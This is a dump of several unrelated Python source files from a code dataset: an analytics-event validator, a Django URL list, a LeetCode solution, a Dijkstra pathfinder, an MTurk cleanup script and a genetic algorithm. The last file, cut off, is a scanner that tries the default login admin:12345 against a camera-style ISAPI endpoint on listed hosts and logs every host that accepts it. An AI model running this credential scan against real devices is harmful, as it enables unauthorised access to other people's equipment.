      ('excel表中属性类型为空', user_property_name, user_property_show_name, user_property_type))\n            for ac_user in actual:\n                try:\n                    ac_user = json.loads(ac_user[1])\n                except Exception as e:\n                    print(ac_user[1])\n                    print(e.__str__())\n                    continue\n                ac_user_property = ac_user.get('properties')\n                ac_user_property_type = ac_user_property.get(user_property_name, None)\n                if ac_user_property_type or ac_user_property_type == '':\n                    print('神策返回的消息有数据{}'.format(ac_user_property_type))\n                else:\n                    if user_property_name not in ['is_staff', 'is_operator', 'is_renter', 'is_intermediary']:\n                        if ac_user_property['user_mobile'] not in ''.join([dd[3] for dd in user_property_errors]):\n                            user_property_errors.append(('缺少', user_property_name, user_property_show_name,\n                                                         str(ac_user_property)))  # ,str(ac_user)\n\n        for ac_user in actual:\n            try:\n                ac_user = json.loads(ac_user[1])\n            except:\n                continue\n            user_properties = ac_user.get('properties')\n            for key in user_properties.keys():\n                if key in [i.get('user_property_name') for i in expected]:\n                    print('神策订阅的用户profile在excel中存在')\n                    ac_user_property_type = user_properties.get(key, None)\n\n                    for ex_user in expected:\n                        ex_user_property_type = ex_user.get('user_property_type')\n                        ex_user_property_name = ex_user.get('user_property_name')\n                        ex_user_property_show_name = ex_user.get('user_property_show_name')\n                        if key == ex_user_property_name:\n                            if ac_user_property_type:\n                                if (isinstance(ac_user_property_type, int) or isinstance(ac_user_property_type,\n                                                                                         float)) and ex_user_property_type == '数值':\n                                    print('神策返回的数据事件的属性类型相同都是数值型')\n                                    break\n                                if isinstance(ac_user_property_type, bool) and ex_user_property_type == 'BOOL��':\n                                    print('神策返回的数据事件的属性类型相同都是bool型')\n                                    break\n                                if isinstance(ac_user_property_type, str) and ex_user_property_type == '字符串':\n                                    print('神策返回的数据事件的属性类型相同都是字符串型')\n                                    break\n                                if isinstance(ac_user_property_type,\n                                              datetime.datetime) and ex_user_property_type == '日期':\n                                    print('神策返回的数据事件的属性类型相同都是日期型')\n                                    break\n                                else:\n                                    type = ''\n                                    if isinstance(ac_user_property_type, datetime.datetime):\n                                        type = '日期'\n                                        user_property_type_errors.append(\n                                            (ex_user_property_name, ex_user_property_show_name,\n                                             ex_user_property_type, type))\n                                        continue\n                                    if isinstance(ac_user_property_type, bool):\n                                        type = 'BOOL'\n                                        user_property_type_errors.append(\n                                            (ex_user_property_name, ex_user_property_show_name,\n                                             ex_user_property_type, type))\n                                        continue\n                                    if isinstance(ac_user_property_type, str):\n                                        type = '字符串'\n                                        user_property_type_errors.append(\n                                            (ex_user_property_name, ex_user_property_show_name,\n                                             ex_user_property_type, type))\n                                        continue\n                                    if isinstance(ac_user_property_type, int) or isinstance(ac_user_property_type,\n                                                                                            float):\n                                        type = '数值'\n                                        user_property_type_errors.append(\n                                            (ex_user_property_name, ex_user_property_show_name,\n                                             ex_user_property_type, type))\n                                        continue\n                        if ac_user_property_type == '' and key not in user_property_errors:\n                            pass\n                        if ac_user_property_type == None:\n                            if key not in ['is_staff', 'is_operator', 'is_landlord', 'is_intermediary']:\n                                # if ac_user_property['user_mobile'] not in ''.join([dd[3] for dd in user_property_errors]):\n                                user_property_errors.append(\n                                    ('缺少', key, ex_user_property_show_name, str(ac_user_property)))  # ,str(ac_user)\n                else:\n                    user_property_errors.append(('新增', key, key, str(ac_user_property)))  # ,str(ac_user)\n\n    @staticmethod\n    def assert_event2(expected, actual, event_name_errors, event_property_errors, event_property_type_errors,\n                      event_pro):\n        for ac_event in actual:\n            try:\n                ac_event = json.loads(ac_event[1])\n            except Exception as e:\n                print(ac_event)\n                print(e.__str__())\n                continue\n            all = [e.get('event_name').strip() for e in expected]\n            actual_event_name = ac_event.get('event', None)\n            try:\n                os = ac_event['properties']['$os']\n            except:\n                os = ''\n            if actual_event_name in all:\n                print('神策返回的数据有值')\n            else:\n                event_name_errors.append(('新增', actual_event_name, actual_event_name, os))\n\n        for ex_data in expected:\n            if '' in ex_data.keys():\n                ex_data.pop('')\n            ex_event_name = ex_data.get('event_name', None)\n            ex_event_show_name = ex_data.get('event_show_name', None)\n            if ex_event_name == '$AppClick':\n                print(ex_event_name)\n            ac_event = DB.getInstance().query_feild(\n                \"select * from test_landlord_event where message_content LIKE '%\" + ex_event_name + \"%' group by sig order by id desc\")\n            if len(ac_event) == 0:\n                event_name_errors.append(('缺少', ex_event_name, ex_event_show_name, ''))\n            else:\n                n = 0\n                m = 0\n                z = 0\n                an_flag = False\n                ios_flag = False\n                ac_os = ''\n                for ac_event_every in ac_event:\n                    try:\n                        rec_time = ac_event_every[3]\n                        timeArray = time.localtime(rec_time)\n                        otherStyleTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n                        ac_event_every = json.loads(ac_event_every[1])\n                    except Exception as e:\n                        continue\n\n                    ac_event_properties = ac_event_every.get('properties')\n                    if ac_event_every.get('event') == 'landlord_xuzuContractDetailView':\n                        print(ac_event_every)\n                    try:\n                        ac_os = ac_event_every['properties']['$os']\n                        if ac_os != 'iOS' and ac_os != 'Android':\n                            ac_os = ''\n                    except:\n                        ac_os = ''\n                    if ac_os == 'iOS':\n                        ios_flag = True\n                    if ac_os == 'Android':\n                        an_flag = True\n\n                    for ac_key in ac_event_properties.keys():\n                        ac_event_properties_type = ac_event_properties.get(ac_key, None)\n                        if ac_event_properties_type == '未知':\n                            event_property_errors.append(\n                                ('未知', ex_event_name, ex_event_show_name, ac_key, ac_key,otherStyleTime, str(ac_event_properties)))\n                            continue\n                        if ex_event_name == 'landlord_oneButtonRefreshHouse':\n                            print(ex_event_name)\n                        if ac_key in event_pro.keys():\n                            yuzhi_pro_name = event_pro[ac_key]['name']\n                            yuzhi_pro_type = event_pro[ac_key]['type']\n                            if ac_event_properties_type == '':\n                                event_property_type_errors.append(\n                                    (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                     ac_event_properties_type))\n                            else:\n                                if (isinstance(ac_event_properties_type, int) or isinstance(ac_event_properties_type,\n                                                                                            float)) and yuzhi_pro_type == '数值':\n                                    print('神策返回的数据事件的属性类型相同都是数值型')\n                                    continue\n                                if isinstance(ac_event_properties_type, bool) and (\n                                        yuzhi_pro_type == 'BOOL' or yuzhi_pro_type == '布尔值'):\n                                    print('神策返回的数据事件的属性类型相同都是bool型')\n                                    continue\n                                if isinstance(ac_event_properties_type, str) and yuzhi_pro_type == '字符串':\n                                    print('神策返回的数据事件的属性类型相同都是字符串型')\n                                    continue\n                                if isinstance(ac_event_properties_type, str) and yuzhi_pro_type == '字符串':\n                                    print('神策返回的数据事件的属性类型相同都是字符串型')\n                                    continue\n                                else:\n                                    type = ''\n                                    if isinstance(ac_event_properties_type, datetime.datetime):\n                                        type = '日期'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                             type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, bool):\n                                        type = '布尔值'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                             type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, str):\n                                        type = '字符串'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                             type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, int) or isinstance(ac_event_properties_type,\n                                                                                               float):\n                                        type = '数值'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                             type))\n                                    else:\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name, yuzhi_pro_type,\n                                             type))\n                        else:\n                            if ac_key in yuzhi_event:\n                                yuzhi_pro_name = event_pro[ac_key]['name']\n                                if z <= 2:\n                                    event_property_errors.append(\n                                        ('缺少', ex_event_name, ex_event_show_name, ac_key, yuzhi_pro_name,otherStyleTime,\n                                         str(ac_event_properties)))\n                                z = z + 1\n                        if ac_key == '$title':\n                            print('d')\n                        if ac_key in ex_data.keys() and ac_key not in yuzhi_event_all:\n                            print('实际数据属性存在')\n                            ac_event_properties_type = ac_event_properties.get(ac_key, None)\n                            eep_property = ex_data[ac_key]\n                            eep_show_name = eep_property.get('property_show_name')\n                            eep_type = eep_property.get('type', None)\n\n                            if ac_event_properties_type != None and ac_event_properties_type != '':\n                                ##神策返回的数据事件的属性如果在表中存在验证数据属性的类型\n                                if (isinstance(ac_event_properties_type, int) or isinstance(ac_event_properties_type,\n                                                                                            float)) and eep_type == '数值':\n                                    print('神策返回的数据事件的属性类型相同都是数值型')\n                                    continue\n                                if isinstance(ac_event_properties_type, bool) and (\n                                        eep_type == 'BOOL' or eep_type == 'BooL'):\n                                    print('神策返回的数据事件的属性类型相同都是bool型')\n                                    continue\n                                if isinstance(ac_event_properties_type, str) and eep_type == '字符串':\n                                    print('神策返回的数据事件的属性类型相同都是字符串型')\n                                    continue\n                                if isinstance(ac_event_properties_type, str) and eep_type == '字符串':\n                                    print('神策返回的数据事件的属性类型相同都是字符串型')\n                                    continue\n                                else:\n                                    type = ''\n                                    if isinstance(ac_event_properties_type, datetime.datetime):\n                                        type = '日期'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, eep_show_name, eep_type, type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, bool):\n                                        type = 'BOOL'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, eep_show_name, eep_type, type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, str):\n                                        type = '字符串'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, eep_show_name, eep_type, type))\n                                        continue\n                                    if isinstance(ac_event_properties_type, int) or isinstance(ac_event_properties_type,\n                                                                                               float):\n                                        type = '数值'\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, eep_show_name, eep_type, type))\n                                    else:\n                                        event_property_type_errors.append(\n                                            (ex_event_name, ex_event_show_name, ac_key, eep_show_name, eep_type, type))\n\n                        else:\n                            if n <= 2:\n                                if ac_key not in yuzhi_event_all:\n                                    if ac_key=='$title':\n                                        print(ac_key)\n                                    event_property_errors.append(\n                                        ('新增', ex_event_name, ex_event_show_name, ac_key, ac_key, otherStyleTime,str(ac_event_properties)))\n                                n = n + 1\n                    for ex_key in ex_data.keys():\n\n                        if ex_key != 'event_name' and ex_key != 'event_show_name':\n                            eep_show_name = ex_data[ex_key]['property_show_name']\n                            if ex_key in ac_event_properties.keys():\n                                print('excel表中的属性在实际属性中存在')\n                            else:\n                                if m <= 2:\n                                    event_property_errors.append(('缺少', ex_event_name, ex_event_show_name, ex_key,\n                                                                  eep_show_name, otherStyleTime,str(ac_event_properties)))\n                                m = m + 1\n                if ios_flag == False and ac_os != '':\n                    event_name_errors.append(('缺少', ex_event_name, ex_event_show_name, 'ios'))\n                if an_flag == False and os != '':\n                    event_name_errors.append(('缺少', ex_event_name, ex_event_show_name, 'Android'))\n\n\nclass Util:\n    @staticmethod\n    def getEventPro(property_table):\n        event_pro = {}\n        user_pro = {}\n        num = 0\n        for index, data in enumerate(property_table):\n            if '用户表' in data[0]:\n                num = index + 1\n        for index in range(1, num - 2):\n            if property_table[index][0] != '' and property_table[index][0] != '字段名称':\n                if property_table[index][0] in yuzhi_event:\n                    event_pro[property_table[index][0]] = {'type': property_table[index][1],\n                                                           'name': property_table[index][2]}\n        return event_pro, user_pro\n\n    @staticmethod\n    def deleteRepeate(expected):\n        expected1 = []\n        # name=[]\n        for index, i in enumerate(expected):\n            event_name = i.get('event_name')\n            if not expected1:\n                expected1.append(i)\n            else:\n                last_expected1 = expected1[len(expected1) - 1]\n                if event_name == last_expected1.get('event_name'):\n                    for key in i:\n                        if key not in last_expected1.keys():\n                            last_expected1[key] = i[key]\n                else:\n                    expected1.append(i)\n\n        return expected1\n\n    @staticmethod\n    def generateShield(arg):\n        hl = hashlib.md5()\n        hl.update(arg.encode(encoding='utf-8'))\n        sig = hl.hexdigest()\n        return sig\n\n    @staticmethod\n    def getEvent(arg):\n        event_name = []\n        for a in arg:\n            if a.get('event', None):\n                event_name.append(a.get('event'))\n\n    @staticmethod\n    def getCommonProperty(arg):\n        m = 0\n        for index, data in enumerate(arg):\n            arg[1] = ['', '', '', 'platformType', '平台类型', '字符串', '', '', '', '']\n            if data[0] == '事件编号':\n                return arg[1:index], index\n\n    @staticmethod\n    def getEventAndProperty(arg, errors):\n        event_name = ''\n        event_show_name = ''\n        event_property_table = []\n        common_property, index1 = Util.getCommonProperty(arg)\n        for index, data in enumerate(arg):\n            if index >= index1 + 1:\n                n = [i for i in data if i != '']\n                if len(n) == 0:\n                    continue\n                if data[1] != '' and data[2] != '':\n                    event_name = data[1]\n                    event_show_name = data[2]\n                if data[1] == '' and data[2] == '':\n                    data[1] = event_name\n                    data[2] = event_show_name\n                    event_property_table.append(\n                        {'event_name': event_name, 'event_show_name': event_show_name,\n                         str(data[3]): {'property_show_name': str(data[4]), 'type': data[5]}}, )\n                if data[1] == '' and data[2] != '':\n                    errors.append(('excel事件表中事件名为空', data[1], data[2]))\n                    event_name = ''\n                    event_show_name = ''\n        for event_property in event_property_table:\n            for j in common_property:\n                event_property[str(j[3])] = {'property_show_name': str(j[4]), 'type': j[5]}\n        for index, data in enumerate(arg):\n            if index >= index1 + 1:\n                e_n = data[1]\n                e_s = data[2]\n                event_len=[i[1] for i in arg if i[1]==e_n]\n                if len(event_len)==1:\n                    event_property_table.append(\n                                {'event_name': e_n, 'event_show_name': e_s })\n        return event_property_table\n\n    @staticmethod\n    def getUserIndex(arg):\n        for index, data in enumerate(arg):\n            if data[0] == '$预置属性':\n                return index\n\n    @staticmethod\n    def getUserAndProperty(arg, errors):\n        index1 = Util.getUserIndex(arg)\n        user_property_table = []\n        for index, data in enumerate(arg):\n            if index > index1:\n                n = [i for i in data if i != '']\n                if len(n) == 0:\n                    continue\n                if data[1] != '' and data[2] != '' and data[0] != 0:\n                    user_property_table.append({'user_property_show_name': data[0], 'user_property_name': data[1],\n                                                'user_property_type': data[2]})\n        return user_property_table\n\n    @staticmethod\n    def genExcel(event_name_errors='', event_property_errors='', event_property_type_errors='', user_property_errors='',\n                 user_property_type_errors=''):\n\n        from xlwt import Workbook\n        book = Workbook(encoding='utf-8')\n\n        sheet1 = book.add_sheet('事件校验', cell_overwrite_ok=True)\n        sheet1.write(0, 0, \"差异类型\")\n        sheet1.write(0, 1, \"事件名称\")\n        sheet1.write(0, 2, \"事件显示名\")\n        sheet1.write(0, 3, \"系统版本\")\n        if event_name_errors:\n            for index, value in enumerate(event_name_errors):\n                sheet1.write(index + 1, 0, value[0])\n                sheet1.write(index + 1, 1, value[1])\n                sheet1.write(index + 1, 2, value[2])\n                sheet1.write(index + 1, 3, value[3])\n        sheet2 = book.add_sheet('事件表-属性校验', cell_overwrite_ok=True)\n        sheet2.write(0, 0, \"差异类型\")\n        sheet2.write(0, 1, \"事件名称\")\n        sheet2.write(0, 2, \"事件显示名\")\n        sheet2.write(0, 3, \"属性名称\")\n        sheet2.write(0, 4, \"属性显示名\")\n        sheet2.write(0, 5, \"时间\")\n        sheet2.write(0, 6, \"属性实际数据\")\n        if event_property_errors:\n            for index, value in enumerate(event_property_errors):\n                sheet2.write(index + 1, 0, value[0])\n                sheet2.write(index + 1, 1, value[1])\n                sheet2.write(index + 1, 2, value[2])\n                sheet2.write(index + 1, 3, value[3])\n                sheet2.write(index + 1, 4, value[4])\n                sheet2.write(index + 1, 5, value[5])\n                sheet2.write(index + 1, 6, value[6])\n        sheet3 = book.add_sheet('事件表-属性类型校验', cell_overwrite_ok=True)\n        sheet3.write(0, 0, \"事件名称\")\n        sheet3.write(0, 1, \"事件显示名\")\n        sheet3.write(0, 2, \"属性名称\")\n        sheet3.write(0, 3, \"属性显示名\")\n        sheet3.write(0, 4, \"属性类型\")\n        sheet3.write(0, 5, \"属性实际类型\")\n        if event_property_type_errors:\n            for index, value in enumerate(event_property_type_errors):\n                sheet3.write(index + 1, 0, value[0])\n                sheet3.write(index + 1, 1, value[1])\n                sheet3.write(index + 1, 2, value[2])\n                sheet3.write(index + 1, 3, value[3])\n                sheet3.write(index + 1, 4, value[4])\n                sheet3.write(index + 1, 5, value[5])\n        sheet4 = book.add_sheet('用户表-属性校验', cell_overwrite_ok=True)\n        sheet4.write(0, 0, \"差异类型\")\n        sheet4.write(0, 1, \"属性名称\")\n        sheet4.write(0, 2, \"属性显示名\")\n        sheet4.write(0, 3, \"属性实际数据\")\n        if user_property_errors:\n            for index, value in enumerate(user_property_errors):\n                sheet4.write(index + 1, 0, value[0])\n                sheet4.write(index + 1, 1, value[1])\n                sheet4.write(index + 1, 2, value[2])\n                sheet4.write(index + 1, 3, value[3])\n        sheet5 = book.add_sheet('用户表-属性类型校验', cell_overwrite_ok=True)\n        sheet5.write(0, 0, \"属性名称\")\n        sheet5.write(0, 1, \"属性显示名\")\n        sheet5.write(0, 2, \"属性值类型\")\n        sheet5.write(0, 3, \"属性值实际类型\")\n        if user_property_type_errors:\n            for index, value in enumerate(user_property_type_errors):\n                sheet5.write(index + 1, 0, value[0])\n                sheet5.write(index + 1, 1, value[1])\n                sheet5.write(index + 1, 2, value[2])\n                sheet5.write(index + 1, 3, value[3])\n\n        now = datetime.datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\n        path = sys.path[0] + '/landlord_report/test_report_{}.xls'.format(now)\n        book.save(path)\n\n\ndef run():\n    event_name_errors = []\n    event_property_errors = []\n    event_property_type_errors = []\n    re = ReadExcel.getExcelAllData('landlord', '事件表')\n    event_table = Util.getEventAndProperty(re, event_name_errors)\n    event_table = Util.deleteRepeate(event_table)\n    event_rt_db = DB.getInstance().query('test_landlord_event')\n\n    property_table = ReadExcel.getExcelAllData('landlord', '预置属性')\n    event_pro, user_pro = Util.getEventPro(property_table)\n\n    AsssertResult.assert_event2(event_table, event_rt_db, event_name_errors, event_property_errors,\n                                event_property_type_errors, event_pro)\n    # 获取数据库所有的数据\n    # 解析数据库数据\n\n    # 查看用户表\n    user_property_errors = []\n    user_property_type_errors = []\n    user_rt_db = DB.getInstance().query('test_landlord_user')\n    re = ReadExcel.getExcelAllData('landlord', '用户表')\n    user_table = Util.getUserAndProperty(re, event_name_errors)\n\n    AsssertResult.assert_user(user_table, user_rt_db, user_property_errors, user_property_type_errors)\n\n    # 写入报告\n    event_name_errors = list(set(event_name_errors))\n    # event_property_errors = list(set(event_property_errors))\n    event_property_type_errors = list(set(event_property_type_errors))\n    user_property_errors = list(set(user_property_errors))\n    user_property_type_errors = list(set(user_property_type_errors))\n    if event_property_type_errors or event_name_errors:\n        Util.genExcel(event_name_errors=event_name_errors, event_property_errors=event_property_errors,\n                      event_property_type_errors=event_property_type_errors,\n                      user_property_errors=user_property_errors, user_property_type_errors=user_property_type_errors)\n\n\nif __name__ == '__main__':\n    run()\n    # sig_nulls = DB.getInstance().query_sig_null('test_zuke_event')\n    # for ss in sig_nulls:\n    #     tt = Util.generateShield(ss[1])\n    #     DB.getInstance().update('test_zuke_event', 'sig', tt, ss[0])\n    #     print('插入成功')\n    # q_data = DB.getInstance().query('test_landlord_user')\n    # for d in q_data:\n    #     tt = Util.generateShield(d[1])\n    #     DB.getInstance().update('test_landlord_user', 'sig', tt, d[0])\n    #     print('插入成功')\n    # # for d in q_data:\n    #     try:\n    #         d1=json.loads(d[1])\n    #     except:\n    #         print(d)\n    #     rec_time =d1.get('time', '')\n    #     print(rec_time)\n    #     if isinstance(rec_time, int):\n    #         rec_time = int(rec_time / 1000)\n    #     DB.getInstance().update('test_landlord_user', 'rec_time', rec_time, d[0])\n","sub_path":"shenceTest/run_landlord_test_shence.py","file_name":"run_landlord_test_shence.py","file_ext":"py","file_size_in_byte":34796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"76182085","text":"from django.urls import path\nfrom .views import PostListView, PostCreateView, PostUpdateView, PostDeleteView, HomeView\nfrom . import views\n\nurlpatterns = [\n    path('', HomeView.as_view(), name='tasks-home'),\n    path('main/', PostListView.as_view(), name='tasks-main'),\n    #path('main/<int:id>', PostListView.as_view(), name='tasks-main'),\n    path('post/new/', PostCreateView.as_view(), name='post-create'),\n    path('post/<int:pk>/update/', PostUpdateView.as_view(), name='post-update'),\n    path('post/<int:pk>/delete/', PostDeleteView.as_view(), name='post-delete'),\n    path('about/', views.about, name='tasks-about'),\n    path('ajax/subtasks/', views.potential_subs, name = 'subtasks'),\n    path('ajax/updatesubs/',views.updateSubs, name='updateSubs')\n]","sub_path":"tasks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"367147217","text":"from typing import List\n\n\n# class Solution:\n#     def letterCasePermutation(self, S: str) -> List[str]:\n#         ans = [[]]\n#         for c in S:\n#             if c.isalpha():\n#                 ans += [i[::] for i in ans]\n#                 for i in range(len(ans) // 2):\n#                     ans[i].append(c.upper())\n#                 for j in range(len(ans)//2, len(ans)):\n#                     ans[j].append(c.lower())\n#             else:\n#                 for k in ans:\n#                     k.append(c)\n#         print(ans)\n#         return [''.join(i) for i in ans]\n\n# bit_mask\nclass Solution(object):\n    def letterCasePermutation(self, S):\n        B = sum(letter.isalpha() for letter in S)\n        ans = []\n\n        for bits in range(1 << B):\n            b = 0\n            word = []\n            for letter in S:\n                if letter.isalpha():\n                    if not b:\n                        word.append(letter.lower())\n                    else:\n                        word.append(letter.upper())\n\n                    b += 1\n                else:\n                    word.append(letter)\n\n            ans.append(\"\".join(word))\n        return ans\n\n\ntest = \"a1b2\"\nans = Solution()\nans.letterCasePermutation(test)\n","sub_path":"784_letter_case_permutation.py","file_name":"784_letter_case_permutation.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"326906286","text":"from Model.Heap import Heap\r\n\r\n\r\ndef find_path(start_node):\r\n    visited = set()\r\n    graph = {}  # cost, parent\r\n    open_set = Heap(key=lambda x: graph[x][0] if x in graph else float('inf'))\r\n    open_set.add(start_node)\r\n\r\n    while len(open_set.items) > 0:\r\n        current_node = open_set.remove_first()\r\n        visited.add(current_node)\r\n\r\n        if current_node.is_target():\r\n            break\r\n\r\n        for connection in current_node.connections:\r\n            other_end = connection.other_end(current_node)\r\n            if other_end in visited:\r\n                continue\r\n\r\n            new_movement_cost = connection.value()\r\n            if current_node in graph:\r\n                new_movement_cost += graph[current_node][0]\r\n\r\n            open_set.add(other_end)\r\n            if other_end in graph and new_movement_cost < graph[other_end][0]:\r\n                graph[other_end] = (new_movement_cost, graph[other_end][1])\r\n            elif other_end not in graph:\r\n                graph[other_end] = (new_movement_cost, current_node)\r\n\r\n    path = [current_node.position]\r\n    while current_node in graph is not None:\r\n        current_node = graph[current_node][1]\r\n        path.append(current_node.position)\r\n    path.pop()  # removes start position\r\n    return path[::-1]","sub_path":"PLDijkstraPathfindingVisualization/Pathfinding/Model/Dijkstra.py","file_name":"Dijkstra.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"384031890","text":"# Try to dispose all (-a) HITs (irriversable); will intentionally fail on any\n# \"Assignable\" HITs; need to run expire.py to make them \"Reviewable\"\nimport config\nfrom boto.mturk.connection import MTurkConnection\nimport sys\n\nlogger=config.rootLogger\nlogger.info(\"Running dispose.py ... \")\n\ntry:\n    mtc=config.con()\nexcept:\n    sys.exit(1)\n\nif len(sys.argv)==2:\n    if sys.argv[1]=='-a':\n        num_h=0\n        for h in mtc.get_all_hits():\n            try:\n                mtc.dispose_hit(h.HITId)\n                logger.info(\"Disposed HIT %s\" %h.HITId)\n                num_h+=1\n            except Exception as ex:\n                logger.exception(ex)\n                continue\n        logger.info(\"Disposed %d HITs\" %num_h)\nelse:\n    logger.info(\"Please run with '-a' option to dispose all\")\n\nlogger.info(\"\")\nlogger.info(\"\")\nlogger.info(\"\")\n\n","sub_path":"dispose.py","file_name":"dispose.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"548434114","text":"soloution = []\r\nimport random\r\nfor j in range(0,8):\r\n\tcurr = \"\"\r\n\tfor k in range(0,8):\r\n\t\tcurr += str(random.choice([0,1]))\r\n\tsoloution.append(curr)\r\ndef calcfitness(inst1):\r\n\ttotal = 0\r\n\tfor i in range(0,7):\r\n\t\tif soloution[i] == inst1.genes[i]:\r\n\t\t\ttotal += 1\r\n\treturn total\r\nclass instance(object):\r\n\tdef __init__(self):\r\n\t\tself.genelength = 64\r\n\t\tself.genes = []\r\n\t\tself.fitness = 0\r\n\tdef genInstance(self):\r\n\t\t\r\n\t\tfor i in range(0,8):\r\n\t\t\t\r\n\t\t\tgene = \"\"\r\n\t\t\tfor l in range(0,8):\r\n\t\t\t\tgene += str(random.choice([0,1]))\r\n\r\n\t\t\tself.genes.append(gene)\r\n\tdef setGene(self,index,value):\r\n\t\tself.genes[index] = value\r\n\tdef getGene(self,index):\r\n\t\treturn self.genes[index]\r\n\tdef getFitness(self):\r\n\t\tif self.fitness == 0:\r\n\t\t\tfitness = calcfitness(self)\r\n\t\t\treturn fitness\r\n\t\telse:\r\n\t\t\treturn self.fitness\r\n\r\nclass population(object):\r\n\tdef __init__(self,popsize,init):\r\n\t\tself.instances = []\r\n\t\tif init == True:\r\n\t\t\tfor i in range(0,popsize):\r\n\t\t\t\tnewinst = instance()\r\n\t\t\t\tnewinst.genInstance()\r\n\t\t\t\tself.instances.append(newinst)\r\n\tdef getinst(self,index):\r\n\t\treturn self.instances[index]\r\n\tdef getfittest(self):\r\n\t\tfittest = self.getinst(0)\r\n\t\tfor j in self.instances:\r\n\t\t\tif j.getFitness() > fittest.getFitness():\r\n\t\t\t\tfittest = j\r\n\t\treturn fittest\r\n\r\nclass geneticalgorithm(object):\r\n\tdef __init__(self,population1):\r\n\t\tself.uniformrate = 0.5\r\n\t\tself.mutationrate = 0.015\r\n\t\tself.tournamentsize = 5\r\n\t\tself.newpop =  population(len(population1.instances),False)\r\n\tdef evolvepop(self,population1):\r\n\t\t\r\n\t\tfor i in range(0,len(population1.instances)):\r\n\t\t\tinst1 = self.selection(population1)\r\n\t\t\tinst2 = self.selection(population1)\r\n\t\t\tself.newpop.instances.append( self.breed(inst1,inst2))\r\n\t\tfor item in self.newpop.instances:\r\n\t\t\r\n\t\t\tself.mutate(item)\r\n\t\treturn self.newpop\r\n\tdef selection(self,population1):\r\n\t\ttournament = population(self.tournamentsize,False)\r\n\t\tfor i in range(0,self.tournamentsize):\r\n\t\t\ttournament.instances.append(population1.getinst(random.randint(0,len(population1.instances)-1)))\r\n\t\treturn tournament.getfittest()\r\n\tdef mutate(self,inst1):\r\n\t\tfor item in inst1.genes:\r\n\t\t\tif random.random() <= self.mutationrate:\r\n\t\t\t\tfake = \"\"\r\n\t\t\t\tfor i in range(0,8):\r\n\t\t\t\t\tfake += (str(random.choice([0,1])))\r\n\t\t\t\tinst1.genes[inst1.genes.index(item)] = fake\r\n\tdef breed(self,inst1,inst2):\r\n\t\tinst3 = instance()\r\n\t\tbasic = []\r\n\t\tfor i in range(0,8):\r\n\t\t\tbasic.append(1)\r\n\t\tfor item in inst1.genes:\r\n\t\t\ti = inst1.genes.index(item)\r\n\t\t\tif random.random() <= self.uniformrate:\r\n\t\t\t\tinst3.genes.append(item)\r\n\t\t\telse:\r\n\t\t\t\tinst3.genes.append(inst2.getGene(i))\r\n\t\treturn inst3\r\n\r\n\r\n\r\ndef main():\r\n\t\r\n\tmaxfitness = 8\r\n\tprint(soloution)\r\n\tmypop = population(50,True)\r\n\tAlgo = geneticalgorithm(mypop)\r\n\tgencount = 0\r\n\twhile mypop.getfittest().getFitness() <= maxfitness:\r\n\t\tgencount+=1\r\n\t\tprint(\"gen:\",gencount,\"fittest: \",mypop.getfittest().getFitness())\r\n\t\t#print(mypop.getfittest().genes)\r\n\t\tmypop = Algo.evolvepop(mypop)\r\n\t\t#break\r\n\t\t\r\n\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"GeneticAlgorithm.py","file_name":"GeneticAlgorithm.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"502272053","text":"import json\nfrom bs4 import BeautifulSoup\nimport requests\n\n\ndef Brute_Force_Web(ipandport):\n    ipandport = ipandport\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 201810.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',\n        'Authorization': 'Basic YWRtaW46MTIzNDU='\n    }\n    url = 'http://' + ipandport + '/ISAPI/Security/userCheck'\n    # print(url)\n    try:\n        res = requests.get(url, headers=headers, timeout=3)\n    except:\n        print(url, \"异常\")\n        res = 1\n    # values = res.text\n    # print(res.status_code)\n    # print(values)\n    # if res.raise_for_status() is None:\n    if res != 1:\n        if res.status_code == 200 and ('OK' in res.text):\n            # print(\"响应状态码：\", res.status_code)\n            sucess = \"http://\" + ipandport\n            print(sucess, \"->\", \"admin:12345\")\n            filename = 'sucess2.txt'\n            with open(filename, 'a') as f:\n                f.write(sucess + \"->\" + \"admin:12345\" + \"\\n\")\n            # exit()\n        else:\n            print(url, \"响应状态码：\", res.status_code)\n\n\nf = open(\"2.txt\")\nlines = f.readlines()\n\nfor line in lines:\n    # print(line.strip())\n    